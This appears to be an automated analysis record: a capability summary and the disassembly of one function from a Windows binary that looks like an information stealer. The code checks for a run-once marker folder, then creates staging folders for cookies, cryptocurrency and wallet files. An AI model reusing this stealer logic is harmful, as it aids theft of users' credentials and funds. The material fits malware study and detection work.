Function at 0x40c540
Capabilities:
Check if file exists
Create directory
Get file attributes
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1488
call fcn.004bef90
push esi
push edi
call fcn.00419f60
cmp byte [0x4da960], 0
je 0x40c57a
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
mov ecx, 0xfc
idiv ecx
add edx, 0x15c
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0041a3e0
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0x40]
push 0x208
push eax
push str._AppData_Kxozv
call edi
cmp word [esp + 0x40], 0
je 0x40c5dc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40c5dc
shr eax, 4
and al, 1
je 0x40c5dc
call fcn.00413f60
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [esp + 0x40]
push 0
push eax
call esi
push 0x208
lea eax, [esp + 0x24c]
mov edx, str._Temp__
push eax
push 0x4dc690
lea ecx, [esp + 0x1c]
call fcn.00405bc0
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x10]
call fcn.00405ad0
push 0x208
lea eax, [esp + 0x454]
mov edx, str._Temp__
push eax
push str._files_
push 0x4dc690
lea ecx, [esp + 0x38]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x1c]
mov edx, eax
call fcn.00405d20
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x10]
call fcn.00405ad0
lea ecx, [esp + 0x28]
call fcn.00405ad0
push 0x208
lea eax, [esp + 0x65c]
mov edx, str._Temp__
push eax
push str._files__files
push 0x4dc690
lea ecx, [esp + 0x20]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x34]
mov edx, eax
call fcn.00405d20
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x28]
call fcn.00405ad0
lea ecx, [esp + 0x10]
call fcn.00405ad0
push 0x208
lea eax, [esp + 0x864]
mov edx, str._Temp__
push eax
push str._files_cookies
push 0x4dc690
lea ecx, [esp + 0x20]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x34]
mov edx, eax
call fcn.00405d20
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x28]
call fcn.00405ad0
lea ecx, [esp + 0x10]
call fcn.00405ad0
push 0x208
lea eax, [esp + 0xa6c]
mov edx, str._Temp__
push eax
push str._files_cryptocurrency
push 0x4dc690
lea ecx, [esp + 0x20]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x34]
mov edx, eax
call fcn.00405d20
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x28]
call fcn.00405ad0
lea ecx, [esp + 0x10]
call fcn.00405ad0
push 0
lea eax, [esp + 0x24c]
push eax
call esi
push 0
lea eax, [esp + 0x454]
push eax
call esi
push 0
lea eax, [esp + 0x65c]
push eax
call esi
push 0
lea eax, [esp + 0x864]
push eax
call esi
push 0
lea eax, [esp + 0xa6c]
push eax
call esi
push 0x208
lea eax, [esp + 0xc74]
mov edx, str._Temp__
push eax
push str._Files
push 0x4dc690
lea ecx, [esp + 0x20]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x34]
mov edx, eax
call fcn.00405d20
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x28]
call fcn.00405ad0
lea ecx, [esp + 0x10]
call fcn.00405ad0
push 0x208
lea eax, [esp + 0xe7c]
mov edx, str._Temp__
push eax
push str._Files_Files
push 0x4dc690
lea ecx, [esp + 0x20]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x34]
mov edx, eax
call fcn.00405d20
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x28]
call fcn.00405ad0
lea ecx, [esp + 0x10]
call fcn.00405ad0
push 0x208
lea eax, [esp + 0x1084]
mov edx, str._Temp__
push eax
push str._Files_Cookies
push 0x4dc690
lea ecx, [esp + 0x20]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x34]
mov edx, eax
call fcn.00405d20
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x28]
call fcn.00405ad0
lea ecx, [esp + 0x10]
call fcn.00405ad0
push 0x208
lea eax, [esp + 0x128c]
mov edx, str._Temp__
push eax
push str._Files_Wallet
push 0x4dc690
lea ecx, [esp + 0x20]
call fcn.00405bc0
add esp, 4
lea ecx, [esp + 0x34]
mov edx, eax
call fcn.00405d20
add esp, 4
mov ecx, eax
call fcn.00405ac0
push eax
call edi
lea ecx, [esp + 0x28]
call fcn.00405ad0
lea ecx, [esp + 0x10]
call fcn.00405ad0
push 0
lea eax, [esp + 0xc74]
push eax
call esi
push 0
lea eax, [esp + 0xe7c]
push eax
call esi
push 0
lea eax, [esp + 0x1084]
push eax
call esi
push 0
lea eax, [esp + 0x128c]
push eax
call esi
call fcn.00409df0
call fcn.00405a10
call fcn.00414170
call fcn.00419570
call fcn.00415150
call fcn.00413640
call fcn.00413ad0
call fcn.004130d0
call fcn.00413f60
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]